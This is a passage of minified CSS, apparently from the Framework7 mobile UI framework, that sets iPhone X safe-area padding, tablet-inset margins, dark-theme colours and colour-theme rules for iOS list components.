.item-content,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after{left:calc(15px + constant(safe-area-inset-left));left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after{left:calc(15px + constant(safe-area-inset-left));left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:15px}.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:15px}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{background-position:calc(100% - 15px - constant(safe-area-inset-right)) center;background-position:calc(100% - 15px - env(safe-area-inset-right)) center}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-right:calc(35px + constant(safe-area-inset-right));padding-right:calc(35px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{padding-right:calc(35px + constant(safe-area-inset-right));padding-right:calc(35px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner{padding-right:calc(35px + constant(safe-area-inset-right));padding-right:calc(35px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner{padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row{padding-right:0}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}.ios .theme-dark .list ul,.list.ios .theme-dark ul{background:#1c1c1d}.ios .theme-dark .list ul:before,.list.ios .theme-dark ul:before{background-color:#282829}.ios .theme-dark .list ul:after,.list.ios .theme-dark ul:after{background-color:#282829}.ios .theme-dark .list li li:last-child .item-inner:after,.ios .theme-dark .list li:last-child li .item-inner:after,.list.ios .theme-dark li li:last-child .item-inner:after,.list.ios .theme-dark li:last-child li .item-inner:after{background-color:#282829}.ios .theme-dark .item-divider:before{background-color:#282829}.ios .theme-dark .list-group-title:before{background-color:#282829}.ios .theme-dark .list-button:after{background-color:#282829}.ios .theme-dark .item-inner:after{background-color:#282829}.ios .theme-dark .item-divider,.ios .theme-dark .list-group-title{background-color:#111}.ios .theme-dark .links-list a:after,.ios .theme-dark .simple-list li:after,.links-list.ios .theme-dark a .simple-list li:after,.simple-list.ios .theme-dark li:after{background-color:#282829}.ios .theme-dark .links-list a.active-state,.ios .theme-dark .list .item-link.active-state,.ios .theme-dark .list .list-button.active-state,.links-list.ios .theme-dark a.active-state,.list.ios .theme-dark .item-link.active-state,.list.ios .theme-dark .list-button.active-state{background-color:#363636}.ios .color-theme-red .list-button{color:#ff3b30}.ios .color-theme-green .list-button{color:#4cd964}.ios .color-theme-blue .list-button{color:#007aff}.ios .color-theme-pink .list-button{color:#ff2d55}.ios .color-theme-yellow .list-button{color:#fc0}.ios .color-theme-orange .list-button{color:#ff9500}.ios .color-theme-gray .list-button{color:#8e8e93}.ios .color-theme-white .list-button{color:#fff}.ios .color-theme-black .list-button{color:#000}.ios .links-list a.color-red,.ios .links-list li.color-red a,.ios .list .item-link.color-red,.ios .list .list-button.color-red,.ios .list li.color-red .item-link,.ios .list li.color-red .list-button,.ios .simple-list li.color-red{color:#ff3b30}.ios .links-list a.color-green,.ios .links-list li.color-green a,.ios .list .item-link.color-green,.ios .list .list-button.color-green,.ios .list li.color-green .item-link,.ios .list li.color-green .list-button,.ios .simple-list li.color-green{color:#4cd964}.ios .links-list a.color-blue,.ios .links-list li.color-blue a,.ios .list 